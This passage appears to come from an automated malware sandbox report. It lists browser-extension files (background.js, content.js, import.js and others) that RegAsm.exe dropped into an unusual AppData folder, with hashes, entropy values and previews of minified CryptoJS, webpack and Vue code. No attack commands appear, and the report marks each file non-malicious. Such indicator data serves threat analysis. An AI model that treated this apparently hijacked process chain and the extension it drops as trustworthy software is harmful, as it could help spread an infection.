A})),process.on("unhandledRejection",J),Q.inspect=function(){return"[Emscripten Module object]"}):i?("undefined"!=typeof read&&(D=function(A){return read(A)}),r=function(A){var I;return"function"==typeof readbuffer?new Uint8Array(readbuffer(A)):(G("obj

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\argon.js.map

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	84847
Entropy (8bit):	5.453002710323148
Encrypted:	false
SSDEEP:	1536:rfPnI9kXuNk3ZAwvlxpdkSkQ9Otk18MeQOsG0NnHXl4c:4kXT+wvlxvh9IM/1V3l5
MD5:	886A8B6D95CD50273A26BBE78C385EFE
SHA1:	33F5296B061B882D7D65CC0F809777676F972912
SHA-256:	BD87FB0BEE1440A7AED6B224D2821E18E6028BC637974284D0BD81E6406441B9
SHA-512:	8A9B70D0E69325C2921ED3ABD09BDD077E32D7E862E013E1156C0C49ED7B3338A0B64441F636D73383D1F911BE7B8B5BBCDE18596BD86743C4C522862180A706
Malicious:	false
Preview:	{"version":3,"file":"argon.js","mappings":"UACIA,EADAC,E,sBCAiIC,EAAjIC,EAAqB,oBAAPC,WAAyC,IAAdA,KAAKD,OAAqBC,KAAKD,OAAO,CAAC,EAA0BE,EAAgB,CAAC,EAAU,IAAIH,KAAOC,EAAWA,EAAOG,eAAeJ,KAAMG,EAAgBH,GAAKC,EAAOD,IAAM,IAAsKK,EAA8BC,EAA3FC,EAA6BC,EAAlIC,EAAW,GAAgNF,EAAmC,iBAATG,OAAkBF,EAA6C,mBAAhBG,cAA2BN,EAAqC,iBAAVO,SAA8C,iBAAnBA,QAAQC,UAAoD,iBAAxBD,QAAQC,SAASC,KAAgBR,GAAsBC,IAAqBF,IAAsBG,EAAsB,IAA4JO,EAAMC,EAAUC,EAA8BC,EAAWC,EAAjNC,EAAgB,GAA6Mf,GAA+Ce,EAAvBZ,EAAuC,gBAAwBY,GAAiB,IAAyBC,KAAcN,EAAM,SAAoBO,EAASC,GAAuH,OAA3GL,IAAOA,EAAO,EAAQ,OAAUC,IAASA,EAAS,EAAQ,OAAQG,EAASH,EAAoB,UAAEG,GAAiBJ,EAAqB,aAAEI,EAASC,EAAO,KAAK,OAAO,EAAEN,EAAW,SAAoBK,GAAU,IAAIE,EAAIT,EAAMO,GAAS,GAAiE,OAAvDE,EAAIC,SAAQD,EAAI,IAAIE,WAAWF,IAAKG,EAAOH,EAAIC,QAAeD,CAAG,EAAKZ,QAAc,KAAEgB,OAAO,GAAehB,QAAc,KAAE,GAAGiB,QAAQ,MAAM,KAAKpB,EAAWG,QAAc,KAAEkB,MAAM,GAAmCC,EAAgB,QAAE9B,EAAOW,QAAY,GAAE,qBAAoB,SAASoB,GAAI,KAAKA,aAAcC,GAAa,MAAMD,CAAG,IAAGpB,QAAY,GAAE,qBAAqBsB,GAAuDjC,EAAgB,QAAE,WAAW,MAAM,4BAA4B,GAAUK,GAAsC,oBAAN6B,OAAmBpB,E

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\background.js

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (65468)
Category:	dropped
Size (bytes):	371348
Entropy (8bit):	5.756320775239832
Encrypted:	false
SSDEEP:	3072:Ksb/QqMGl914hukdU9IInTbMHXlGFFJLWIQFUbxtuJE6o2XVo4pxbzm:K4/QM914hukdU9BEHWnWIQoQg2iCxbzm
MD5:	6DCE5C3CBD845994AB8CF934BD515E84
SHA1:	762FA25E461EA2D691683DF966C5AF869B74D37C
SHA-256:	81EA5A78236ED1B7B81D7CF9E069584E0C87BF2E86EA2CA11A5B426E728F751F
SHA-512:	FAE6B3F67454F070FE3B1064D4F04597169A03B7075D76067764ACD323E81337F99FE47698004D08F89127A8322D597B00CD3881FA7625E166347338FCB48F48
Malicious:	false
Preview:	/! For license information please see background.js.LICENSE.txt /.(()=>{var e={452:function(e,t,r){var n;e.exports=(n=r(8249),r(8269),r(8214),r(888),r(5109),function(){var e=n,t=e.lib.BlockCipher,r=e.algo,i=[],o=[],a=[],s=[],c=[],u=[],h=[],f=[],d=[],l=[];!function(){for(var e=[],t=0;t<256;t++)e[t]=t<128?t<<1:t<<1^283;var r=0,n=0;for(t=0;t<256;t++){var p=n^n<<1^n<<2^n<<3^n<<4;p=p>>>8^255&p^99,i[r]=p,o[p]=r;var y=e[r],g=e[y],m=e[g],v=257e[p]^16843008p;a[r]=v<<24\|v>>>8,s[r]=v<<16\|v>>>16,c[r]=v<<8\|v>>>24,u[r]=v,v=16843009m^65537g^257y^16843008r,h[p]=v<<24\|v>>>8,f[p]=v<<16\|v>>>16,d[p]=v<<8\|v>>>24,l[p]=v,r?(r=y^e[e[e[m^y]]],n^=e[e[n]]):r=n=1}}();var p=[0,1,2,4,8,16,32,64,128,27,54],y=r.AES=t.extend({_doReset:function(){if(!this._nRounds\|\|this._keyPriorReset!==this._key){for(var e=this._keyPriorReset=this._key,t=e.words,r=e.sigBytes/4,n=4*((this._nRounds=r+6)+1),o=this._keySchedule=[],a=0;a<n;a++)a<r?o[a]=t[a]:(u=o[a-1],a%r?r>6&&a%r==4&&(u=i[u>>>24]<<24\|i[u>>>16&255]<<16\|i[u>>>8&255]<

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\background.js.LICENSE.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Unicode text, UTF-8 text, with very long lines (756)
Category:	dropped
Size (bytes):	1471
Entropy (8bit):	5.2068533871428
Encrypted:	false
SSDEEP:	24:iWTFGzBToRpoRUnezocbOOrYFTDJYrYFTzLQ90432smEOkus8WROL32s3yxtTfy+:bOPpOOrYJurYJzO0432sBG32s3Etm13w
MD5:	90AA4A2470CEABC6C11EBE4AA1CC2C79
SHA1:	2C2C4356E9905921DB67BE4B358F471261935F17
SHA-256:	71CCCCF01420F6D64C1E2F86385F1E3A5BF8981AF5C9220CF9641637CB401CF3
SHA-512:	B9E73FD6676517F699F41592B4C76A21E3017E6C4927D8EEB23E93DAC308E03B399C8D3FB32148DBB1CC8470F655CC8FF8ACF9CD484106714F07BB846F12183B
Malicious:	false
Preview:	/** @preserve.. * Counter block mode compatible with Dr Brian Gladman fileenc.c.. * derived from CryptoJS.mode.CTR.. * Jan Hruby jhruby.web@gmail.com.. /../* @preserve..(c) 2012 by C.dric Mesnil. All rights reserved....Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:... - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer... - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution....THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRI

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\background.js.map

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1632507
Entropy (8bit):	5.141809719401496
Encrypted:	false
SSDEEP:	24576:zSN+GUqgF5Rq1YCBbOpv0N4cfxxv384htWIRy:jrFDq1YCBbOpv0N4cfjv384htWIRy
MD5:	F85E56B67AE14CF0E50F8518E3487BF7
SHA1:	F02A9EBFA03AAC359891EAFCCBBAB4E12BF69E8A
SHA-256:	0DCE6E34C75A43A7FEE6671FC3A6DBA1EED7AC61DFB3A11D58BFA6CE36577C91
SHA-512:	2BE57BD103BEA35777F851D917BDEE8730D1C6740E60FC434E89D590DF5614B17C75F64573C0F445453A29023E4EC7C067BD035D1336CF7A5CAADF14DF9BC8CE
Malicious:	false
Preview:	{"version":3,"file":"background.js","mappings":";iCAAE,IAagBA,EAVhBC,EAAOC,SAUSF,EAVmB,EAAQ,MAAW,EAAQ,MAAiB,EAAQ,MAAU,EAAQ,KAAa,EAAQ,MAY9H,WAEG,IAAIG,EAAIH,EAEJI,EADQD,EAAEE,IACUD,YACpBE,EAASH,EAAEI,KAGXC,EAAO,GACPC,EAAW,GACXC,EAAY,GACZC,EAAY,GACZC,EAAY,GACZC,EAAY,GACZC,EAAgB,GAChBC,EAAgB,GAChBC,EAAgB,GAChBC,EAAgB,IAGnB,WAGG,IADA,IAAIC,EAAI,GACCC,EAAI,EAAGA,EAAI,IAAKA,IAEjBD,EAAEC,GADFA,EAAI,IACGA,GAAK,EAEJA,GAAK,EAAK,IAK1B,IAAIC,EAAI,EACJC,EAAK,EACT,IAASF,EAAI,EAAGA,EAAI,IAAKA,IAAK,CAE1B,IAAIG,EAAKD,EAAMA,GAAM,EAAMA,GAAM,EAAMA,GAAM,EAAMA,GAAM,EACzDC,EAAMA,IAAO,EAAW,IAALA,EAAa,GAChCd,EAAKY,GAAKE,EACVb,EAASa,GAAMF,EAGf,IAAIG,EAAKL,EAAEE,GACPI,EAAKN,EAAEK,GACPE,EAAKP,EAAEM,GAGPE,EAAa,IAARR,EAAEI,GAAqB,SAALA,EAC3BZ,EAAUU,GAAMM,GAAK,GAAOA,IAAM,EAClCf,EAAUS,GAAMM,GAAK,GAAOA,IAAM,GAClCd,EAAUQ,GAAMM,GAAK,EAAOA,IAAM,GAClCb,EAAUO,GAAKM,EAGXA,EAAU,SAALD,EAAwB,MAALD,EAAsB,IAALD,EAAmB,SAAJH,EAC5DN,EAAcQ,GAAOI,GAAK,GAAOA,IAAM,EACvCX,EAAcO,GAAOI,GAAK,GAAOA,IAAM,GACvCV,EAAcM,GAAOI,GAAK,EAAOA,IAAM,GAC

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\content.js

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	222437
Entropy (8bit):	5.683332409487713
Encrypted:	false
SSDEEP:	3072:KbFlYFW39fDbMyyd9QtKP8KBI9d7skgUt:UYk3hMyyDfEKBID
MD5:	FCB868E98523EE058846B2F352B8841D
SHA1:	8E1327140F61FF3ED7B3CF8675A0D55AE5B4AF97
SHA-256:	F2BB8193619847084C3A41D7433A18EC79D39BDA06CA22FC164289A142397FA4
SHA-512:	5C84B882CBD08BE87A50EBF143D6DC25354F4C56CF707088DCBD82731366EA692DBC0E2B7E4AEB3F5A7317E6F65D18392543F8C88C176086A932BFAB4D603327
Malicious:	false
Preview:	(()=>{var e={5616:function(e){var t;"undefined"!=typeof self&&self,t=function(){return function(e){var t={};function o(r){if(t[r])return t[r].exports;var n=t[r]={i:r,l:!1,exports:{}};return e[r].call(n.exports,n,n.exports,o),n.l=!0,n.exports}return o.m=e,o.c=t,o.d=function(e,t,r){o.o(e,t)\|\|Object.defineProperty(e,t,{configurable:!1,enumerable:!0,get:r})},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=function(){function e(e,t){this.width=t,this.height=e.length/t,this.data=e}return e.createEmpty=function(t,o){return new e(new Uint8ClampedArray(to),t)},e.prototype.get=function(e,t){return!(e<0\|\|e>=this.width\|\|t<0\|\|t>=this.height\|\|!this.data[tthis.width+e])},e.prototype.set=function(e,t,o){this.data[t*this.width+e]=o?1:0},e.prototype.setRegion=function(e,t,

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\content.js.map

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	645431
Entropy (8bit):	5.338904088933027
Encrypted:	false
SSDEEP:	12288:gCaMPrBbZrfVkFs1nJP++/EcZayvdtXM7Rych:hBbZrfVkFKZXMp
MD5:	BA260789FD5DA1286DBDEEA217330B27
SHA1:	3E260F5238DEA3CB8E70304ABE1DFE1B6602AE98
SHA-256:	E0D1E3C6F4A44CD91176477F956224304297EF40E2AECBAB43023E9C9E574F74
SHA-512:	81757D0ADBB221FFEF406F9A186B100EFB540F55DFCA60EE50A44344C9CE6171CB4540127530699C5726A13536DF715267F1638BDD43AD2DC4241BAD6B79A6E3
Malicious:	false
Preview:	{"version":3,"file":"content.js","mappings":"8BAAA,IAAiDA,EAS9B,oBAATC,MAAuBA,KATgBD,EASH,WAC9C,OAAgB,SAAUE,GAEhB,IAAIC,EAAmB,CAAC,EAGxB,SAAS,EAAoBC,GAG5B,GAAGD,EAAiBC,GACnB,OAAOD,EAAiBC,GAAUC,QAGnC,IAAIC,EAASH,EAAiBC,GAAY,CACzCG,EAAGH,EACHI,GAAG,EACHH,QAAS,CAAC,GAUX,OANAH,EAAQE,GAAUK,KAAKH,EAAOD,QAASC,EAAQA,EAAOD,QAAS,GAG/DC,EAAOE,GAAI,EAGJF,EAAOD,OACf,CAoCA,OAhCA,EAAoBK,EAAIR,EAGxB,EAAoBS,EAAIR,EAGxB,EAAoBS,EAAI,SAASP,EAASQ,EAAMC,GAC3C,EAAoBC,EAAEV,EAASQ,IAClCG,OAAOC,eAAeZ,EAASQ,EAAM,CACpCK,cAAc,EACdC,YAAY,EACZC,IAAKN,GAGR,EAGA,EAAoBO,EAAI,SAASf,GAChC,IAAIQ,EAASR,GAAUA,EAAOgB,WAC7B,WAAwB,OAAOhB,EAAgB,OAAG,EAClD,WAA8B,OAAOA,CAAQ,EAE9C,OADA,EAAoBM,EAAEE,EAAQ,IAAKA,GAC5BA,CACR,EAGA,EAAoBC,EAAI,SAASQ,EAAQC,GAAY,OAAOR,OAAOS,UAAUC,eAAejB,KAAKc,EAAQC,EAAW,EAGpH,EAAoBG,EAAI,GAGjB,EAAoB,EAAoBC,EAAI,EACnD,CA/DM,CAiEN,CAEJ,SAAUtB,EAAQD,EAASwB,GAEjC,aAEAb,OAAOC,eAAeZ,EAAS,aAAc,CAAEyB,OAAO,IACtD,IAAIC,EAA2B,WAC3B,SAASA,EAAUC,EAAMC,GACrBC,KAAKD,MAAQA,EACbC,KAAKC,OAASH,EAAKI,OAASH,EAC5BC,KAAKF,KAAO

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\import.js

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (65472)
Category:	dropped
Size (bytes):	609472
Entropy (8bit):	5.703047097124115
Encrypted:	false
SSDEEP:	6144:BIJVGO7O/FtX+6s+I5YUIDOSPhnWILa4MjdsP448:BIJVGO7OtE6s9kO2nWNdsw48
MD5:	65120EA1FB47785ED16CFB229CDDB69B
SHA1:	1EC2D2D6094D3CC3B43A6E518DD190A1CD6FE605
SHA-256:	009C1823FA088DACEF7730E89B7A63C8E1A7A8C25E3E4E47018E14188E6878F6
SHA-512:	8991F12A35DAFCF46392EBFC8DC30E8DB0AB30E67339DA6613F748048A209ECE37AF865D232F93EC069E9DDCDAE961DAD3E20590D37AF3264C6DC007B35300F5
Malicious:	false
Preview:	/! For license information please see import.js.LICENSE.txt /.(()=>{var e={452:function(e,t,r){var n;e.exports=(n=r(8249),r(8269),r(8214),r(888),r(5109),function(){var e=n,t=e.lib.BlockCipher,r=e.algo,o=[],i=[],a=[],s=[],c=[],u=[],f=[],l=[],d=[],h=[];!function(){for(var e=[],t=0;t<256;t++)e[t]=t<128?t<<1:t<<1^283;var r=0,n=0;for(t=0;t<256;t++){var p=n^n<<1^n<<2^n<<3^n<<4;p=p>>>8^255&p^99,o[r]=p,i[p]=r;var y=e[r],v=e[y],m=e[v],g=257e[p]^16843008p;a[r]=g<<24\|g>>>8,s[r]=g<<16\|g>>>16,c[r]=g<<8\|g>>>24,u[r]=g,g=16843009m^65537v^257y^16843008r,f[p]=g<<24\|g>>>8,l[p]=g<<16\|g>>>16,d[p]=g<<8\|g>>>24,h[p]=g,r?(r=y^e[e[e[m^y]]],n^=e[e[n]]):r=n=1}}();var p=[0,1,2,4,8,16,32,64,128,27,54],y=r.AES=t.extend({_doReset:function(){if(!this._nRounds\|\|this._keyPriorReset!==this._key){for(var e=this._keyPriorReset=this._key,t=e.words,r=e.sigBytes/4,n=4*((this._nRounds=r+6)+1),i=this._keySchedule=[],a=0;a<n;a++)a<r?i[a]=t[a]:(u=i[a-1],a%r?r>6&&a%r==4&&(u=o[u>>>24]<<24\|o[u>>>16&255]<<16\|o[u>>>8&255]<<8\|o

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\import.js.LICENSE.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Unicode text, UTF-8 text, with very long lines (756)
Category:	dropped
Size (bytes):	1559
Entropy (8bit):	5.259881752597113
Encrypted:	false
SSDEEP:	48:VOPpOOrYJurYJzO0432sBG32s3Etm13t6THd:G8OrYJurYJzOn303z9IT9
MD5:	10D92456D9035F8E7732C9A59FD56973
SHA1:	C83A666335A138C05A9FCA3FC013999369403CD6
SHA-256:	787158D513C16741A24AC5D474B069F60B6390D46A01EE6F96B2CD85760941B9
SHA-512:	116C0557E75733F91F35A46D98CCFC6E6401A1CBF2B2B98F4E7D5B9058D37D3DA7DDE0A925AE03F0FFBCA2C958DC64B602499E47EDF993EBE3759BDC70DDBF2A
Malicious:	false
Preview:	/!. Vue.js v2.7.14. * (c) 2014-2022 Evan You. * Released under the MIT License.. /../* @preserve.. * Counter block mode compatible with Dr Brian Gladman fileenc.c.. * derived from CryptoJS.mode.CTR.. * Jan Hruby jhruby.web@gmail.com.. /../* @preserve..(c) 2012 by C.dric Mesnil. All rights reserved....Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:... - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer... - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution....THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS F

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\import.js.map

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2661277
Entropy (8bit):	5.211197196429017
Encrypted:	false
SSDEEP:	49152:iy6FDp1YCBbOpv0N4cfjv384htWIt1tWhH:H/IS
MD5:	88623105910301F9F655D58271D9E169
SHA1:	2358B625406A6CF507E2C4346F64F545651EE643
SHA-256:	814E37A21D4AEBD441AEE346805A569E86FBD23F2920986DBDF3F1A2A4AC9F4F
SHA-512:	2E3BB0B1616BE21A214E834B25692BEFD6D56C30BE96F1C970F3100D7D70AA664BBF186D2376A18997E17F3A035747C5B3C31D1E990986F70F05ECB35C965147
Malicious:	false
Preview:	{"version":3,"file":"import.js","mappings":";iCAAE,IAagBA,EAVhBC,EAAOC,SAUSF,EAVmB,EAAQ,MAAW,EAAQ,MAAiB,EAAQ,MAAU,EAAQ,KAAa,EAAQ,MAY9H,WAEG,IAAIG,EAAIH,EAEJI,EADQD,EAAEE,IACUD,YACpBE,EAASH,EAAEI,KAGXC,EAAO,GACPC,EAAW,GACXC,EAAY,GACZC,EAAY,GACZC,EAAY,GACZC,EAAY,GACZC,EAAgB,GAChBC,EAAgB,GAChBC,EAAgB,GAChBC,EAAgB,IAGnB,WAGG,IADA,IAAIC,EAAI,GACCC,EAAI,EAAGA,EAAI,IAAKA,IAEjBD,EAAEC,GADFA,EAAI,IACGA,GAAK,EAEJA,GAAK,EAAK,IAK1B,IAAIC,EAAI,EACJC,EAAK,EACT,IAASF,EAAI,EAAGA,EAAI,IAAKA,IAAK,CAE1B,IAAIG,EAAKD,EAAMA,GAAM,EAAMA,GAAM,EAAMA,GAAM,EAAMA,GAAM,EACzDC,EAAMA,IAAO,EAAW,IAALA,EAAa,GAChCd,EAAKY,GAAKE,EACVb,EAASa,GAAMF,EAGf,IAAIG,EAAKL,EAAEE,GACPI,EAAKN,EAAEK,GACPE,EAAKP,EAAEM,GAGPE,EAAa,IAARR,EAAEI,GAAqB,SAALA,EAC3BZ,EAAUU,GAAMM,GAAK,GAAOA,IAAM,EAClCf,EAAUS,GAAMM,GAAK,GAAOA,IAAM,GAClCd,EAAUQ,GAAMM,GAAK,EAAOA,IAAM,GAClCb,EAAUO,GAAKM,EAGXA,EAAU,SAALD,EAAwB,MAALD,EAAsB,IAALD,EAAmB,SAAJH,EAC5DN,EAAcQ,GAAOI,GAAK,GAAOA,IAAM,EACvCX,EAAcO,GAAOI,GAAK,GAAOA,IAAM,GACvCV,EAAcM,GAAOI,GAAK,EAAOA,IAAM,GACvCT,

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\options.js

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (65471)
Category:	dropped
Size (bytes):	76873
Entropy (8bit):	5.186273342296303
Encrypted:	false
SSDEEP:	768:LE7VU9D+Y7WXk0wIP3IuOHpfAhXTKl5bldUQEF6NIN7g590lseyTYTVK/JrO1L2:L6U9yYQBUy6TEHszcTVKIY
MD5:	A6D4416A12065285B00B958AD6D7BF50
SHA1:	6AC30F40B74381AF820BBCDBA9EAFC4E2E9B5AD6
SHA-256:	A499BD9DBDCEC555AE8930CE81DA78B299686112623351D22D52FED7BD1853CD
SHA-512:	65AD682ABCDDBBE1227F275EC2EC648882012C1F1B9557D5AF9FA31F65AF4F91A55468BB9948E7864345A2BDC7983BA6CBD7763A669C27510A5DA9CE1B6FCC50
Malicious:	false
Preview:	/! For license information please see options.js.LICENSE.txt /.(()=>{"use strict";var e={};e.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window)return window}}();var t=Object.freeze({}),n=Array.isArray;function r(e){return null==e}function o(e){return null!=e}function i(e){return!0===e}function a(e){return"string"==typeof e\|\|"number"==typeof e\|\|"symbol"==typeof e\|\|"boolean"==typeof e}function s(e){return"function"==typeof e}function c(e){return null!==e&&"object"==typeof e}var u=Object.prototype.toString;function l(e){return"[object Object]"===u.call(e)}function f(e){var t=parseFloat(String(e));return t>=0&&Math.floor(t)===t&&isFinite(e)}function d(e){return o(e)&&"function"==typeof e.then&&"function"==typeof e.catch}function p(e){return null==e?"":Array.isArray(e)\|\|l(e)&&e.toString===u?JSON.stringify(e,null,2):String(e)}function v(e){var t=parseFloat(e);return isNaN(t)?e:t}function h(e,t){f

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\options.js.LICENSE.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	87
Entropy (8bit):	4.653323462930009
Encrypted:	false
SSDEEP:	3:US9tnLSFRVzADkq1KuFzq0:USLR19o0
MD5:	C39023AF679079F36F8451330716C495
SHA1:	8B4026C1B5C5C08A23E12ECFE320EC3C7A514B36
SHA-256:	F057B2ADDFC48CF2BC7AF9A8D11637B7C49859C3BADDBCC754D009A5BFB0F189
SHA-512:	1509C45D6273CEF6BCF4722DD9FE21C04FDDD675B910FAAD7B34132C4E7C62603E4238BB54774B7CD280AED4E80CE5E82A0B3269DB82A668AFD64951CC96A385
Malicious:	false
Preview:	/!. Vue.js v2.7.14. * (c) 2014-2022 Evan You. * Released under the MIT License.. */.

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\options.js.map

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	450305
Entropy (8bit):	5.0960886909916265
Encrypted:	false
SSDEEP:	6144:TMwznn76rh+s+zsrhSvPxv1B31JrLksoB3:QwzncFaxv1tL9oV
MD5:	67EFC7B8903036355C3E90BA7392F2F6
SHA1:	672EC183105F44FF0641341C77A614080475446E
SHA-256:	4F7349FBC84FCFBF32FBA227622C4BFB6464AA637097B1CD17C703711FD6C96A
SHA-512:	9D4135521538AB9D835283F5613C52DC150B3342F98F27138725E32A2CAAF60B91F3B9DAE7FD6DF5718968EF813CC4512E1B31EA88C1B25A3F01C11B18F1F926
Malicious:	false
Preview:	{"version":3,"file":"options.js","mappings":";mBACA,IAAIA,EAAsB,CAAC,ECD3BA,EAAoBC,EAAI,WACvB,GAA0B,iBAAfC,WAAyB,OAAOA,WAC3C,IACC,OAAOC,MAAQ,IAAIC,SAAS,cAAb,EAChB,CAAE,MAAOC,GACR,GAAsB,iBAAXC,OAAqB,OAAOA,MACxC,CACA,CAPuB,GCKxB,IAAIC,EAAcC,OAAOC,OAAO,CAAC,GAC7BC,EAAUC,MAAMD,QAGpB,SAASE,EAAQC,GACb,OAAOA,OACX,CACA,SAASC,EAAMD,GACX,OAAOA,OACX,CACA,SAASE,EAAOF,GACZ,OAAa,IAANA,CACX,CAOA,SAASG,EAAYC,GACjB,MAAyB,iBAAVA,GACM,iBAAVA,GAEU,iBAAVA,GACU,kBAAVA,CACf,CACA,SAASC,EAAWD,GAChB,MAAwB,mBAAVA,CAClB,CAMA,SAASE,EAASC,GACd,OAAe,OAARA,GAA+B,iBAARA,CAClC,CAIA,IAAIC,EAAYb,OAAOc,UAAUC,SAQjC,SAASC,EAAcJ,GACnB,MAA+B,oBAAxBC,EAAUI,KAAKL,EAC1B,CAOA,SAASM,EAAkBC,GACvB,IAAIC,EAAIC,WAAWC,OAAOH,IAC1B,OAAOC,GAAK,GAAKG,KAAKC,MAAMJ,KAAOA,GAAKK,SAASN,EACrD,CACA,SAASO,EAAUP,GACf,OAAQb,EAAMa,IACU,mBAAbA,EAAIQ,MACU,mBAAdR,EAAIS,KACnB,CAIA,SAAS,EAAST,GACd,OAAc,MAAPA,EACD,GACAhB,MAAMD,QAAQiB,IAASH,EAAcG,IAAQA,EAAIJ,WAAaF,EAC1DgB,KAAKC,UAAUX,EAAK,KAAM,GAC1BG,OAAOH,EACrB,CAKA,SAASY,EAASZ,GACd,IAAIC,EAAIC,WAAWF,GACnB,

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\permissions.js

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (65467)
Category:	dropped
Size (bytes):	102802
Entropy (8bit):	5.18610740503606
Encrypted:	false
SSDEEP:	768:VpCVUxOXh0Nzgi9zxW/Hf/zbqnN46L+tlNK116HGWwIBx76/9y24BsSwzpN6Yk4V:VcUYXmg0W3bq+sKCj/U2zSwzpKLRxOUO
MD5:	2850D0B3B00770F09F73C57CE8E6145A
SHA1:	AE1CE399E0B2CF49B2747C31EDC3724F37886F83
SHA-256:	941DB835B985D8451AF57746377775ABA11CFE3FE006E3322AD3B8F9402139EA
SHA-512:	34A88E1E4FB006905CC50BC77F1E9A143709874C7C70A71DD37190FA0C17C3CCF5B27CA798D60654CACB6E11E827CB118D8BA1FAC4B8AB138552D286404FED3A
Malicious:	false
Preview:	/! For license information please see permissions.js.LICENSE.txt /.(()=>{"use strict";var t={};t.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(t){if("object"==typeof window)return window}}();var e=Object.freeze({}),n=Array.isArray;function r(t){return null==t}function o(t){return null!=t}function i(t){return!0===t}function a(t){return"string"==typeof t\|\|"number"==typeof t\|\|"symbol"==typeof t\|\|"boolean"==typeof t}function s(t){return"function"==typeof t}function c(t){return null!==t&&"object"==typeof t}var u=Object.prototype.toString;function l(t){return"[object Object]"===u.call(t)}function f(t){var e=parseFloat(String(t));return e>=0&&Math.floor(e)===e&&isFinite(t)}function p(t){return o(t)&&"function"==typeof t.then&&"function"==typeof t.catch}function d(t){return null==t?"":Array.isArray(t)\|\|l(t)&&t.toString===u?JSON.stringify(t,null,2):String(t)}function v(t){var e=parseFloat(t);return isNaN(e)?t:e}function h(t,

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\permissions.js.LICENSE.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	148
Entropy (8bit):	4.666804054470601
Encrypted:	false
SSDEEP:	3:US9tnLSFRVzADkq1KuFzqN6PFQXU+EhAaG80:USLR19oI73H0
MD5:	25B37A7B9B610529014EB9401A42AD1A
SHA1:	6ED040D22A0443A71D493F65B5BAC8E6097ED817
SHA-256:	B57711D845E4884B081F1641340954D967AAB78EC264955E58D73C159E736119
SHA-512:	086CC5822F9ADB414F9B8D14BEDE5404ABADB98BBF8D428AB6139FD8A496575632F7E93B8BE837731DB76E24A81FA74F248223E2C09BA79E3007E1C32AC55D6F
Malicious:	false
